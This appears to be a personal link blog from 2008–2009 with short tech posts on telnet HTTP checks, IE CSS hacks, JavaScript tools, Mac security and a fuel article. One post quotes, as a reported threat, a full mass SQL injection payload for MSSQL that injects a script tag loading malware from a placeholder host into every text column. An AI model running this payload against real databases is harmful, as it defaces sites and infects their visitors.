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Tutorials – Servers > Telnet as a Diagnostic Aid

Monday, February 16th, 2009

I don’t know about you, but I can use a reefresher now and again for things like surfing with Telnet to determine if 301 re-directs work…

In a nutshell, you’ll want something like this:

telnet eastvalley.freedomblogging.com 80[cr]
Trying 69.25.233.100…
Connected to eastvalley.freedomblogging.com.
Escape character is ‘^]’.
HEAD / HTTP/1.1[cr]
Host: eastvalley.freedomblogging.com[cr]
[cr]

Note: italic items are sent by the server, whilst non-italic items are typed. Also NOTE the double carriage return ([cr]) at the end.

Tutorials – Servers > Telnet as a Diagnostic Aid

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Hacking IE CSS: Underscore, Box Model ‘Voice Family’, & Star hacks

Thursday, December 18th, 2008

CSS Hacks

Underscore Hack

/* CSS hack for IE 6 and below */
.test {
  position: fixed;
  _position: absolute;
}

Voice Family (Box Family or Tantek Hack)

/* CSS hack for IE 5.x */
.test {
  width: 500px;
  padding: 50px;
  voice-family: "\"}\"";
  voice-family: inherit;
  width: 400px;
}
html>body .test{
 width: 400px;
}

Backslash Hack

/* CSS hack for IE 5.5 and below */

.test {
  height: 500px;
  he\ight: 400px;
}

Commented Backslash Hack

/* begin hiding from IE5 Mac \*/
.test {
  color: red;
}
/* end */

And then there’s:

/* apply ONLY to IE5 Mac \*//*/
.test {
  color: red;
}
/* end */

High Pass Filter

/* CSS hack hides from browser which don't support @import */
  @import "null.css?\"\{";
  @import "highpass.css";

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Farbtastic: jQuery color picker plug-in | Steven Wittens – Acko.net

Friday, September 5th, 2008

Farbtastic is a jQuery plug-in that can add one or more color picker widgets into a page through JavaScript. Each widget is then linked to an existing element (e.g. a text field) and will update the element’s value when a color is selected.

Download Farbtastic 1.2 – 8 January 2007 (License: GPL).

Farbtastic: jQuery color picker plug-in | Steven Wittens – Acko.net

Tags: color, javascript, js, picker, tools
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Javascript Format and Colour

Thursday, September 4th, 2008

Javascript Format and Colour

This is a nifty tool to format JavaScript that has been mini-fied. Very nifty for reading JavaScript (although it doesn’t get your function names back, if they’ve been obfuscated…).

Tags: coding, javascript, js, tools
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TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Tuesday, August 12th, 2008

Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Tags: database, hack
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Workarounds, Filters, and Hacks – SitePoint CSS Reference

Friday, August 8th, 2008

Here’s an interesting site for CSS hacks and workarounds…

Workarounds, Filters, and Hacks – SitePoint CSS Reference

Tags: CSS, Hacks, workarounds
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How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

Tuesday, June 24th, 2008

Here’s a nice discussion on how to improve Mac OS X Security. It contains some dreams about what Mac OS X 10.6 Snow Leopard will bring.

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

Tags: os x
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I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Thursday, June 12th, 2008

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Cars are the key to U.S. energy consumption. The dominant automotive platform here, whether you drive a truck, a car, or a motorcycle, relies on gasoline-fueled internal combustion engines. That’s the platform we are unlikely to change quickly. So how do we leave that platform intact and unchanged, ask nobody to significantly sacrifice, yet still achieve the noble (and Nobel) goals of lower fuel consumption, lower greenhouse gas emissions, lower pollution levels, dramatically lower oil consumption, lower cost, and lower geopolitical vulnerability for our country? There’s only one way I know to accomplish this: change the fuel.

This happened to a certain extent in Brazil during the ’70s and ’80s by embracing ethanol. But ethanol has less energy per gallon so fuel consumption goes up and mileage goes down. Ethanol can’t be shipped in pipelines also used for oil. Cars have to be modified to run on it and even then there are issues about internal corrosion. Ethanol is far from perfect. What’s needed is a replacement for gasoline that looks and feels and tastes just like gas to your car but isn’t made from oil. Then the platform could remain completely unchanged yet my 1966 Thunderbird (and the world) could benefit starting with the very next tankful.

There is such a fuel, developed by a husband and wife team of scientists working in Indiana in cooperation with Purdue University. This new fuel, called SwiftFuel, is right now intended for airplanes, not cars, but the lessons are the same.

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Entourage backup tip

Friday, June 6th, 2008

Sparse Bundlesmacosxhints.com – 10.5: Make Time Machine work well with Entourage 2004

Tags: Backup, bundle, disk, entourage, Mac, office, sparse, X
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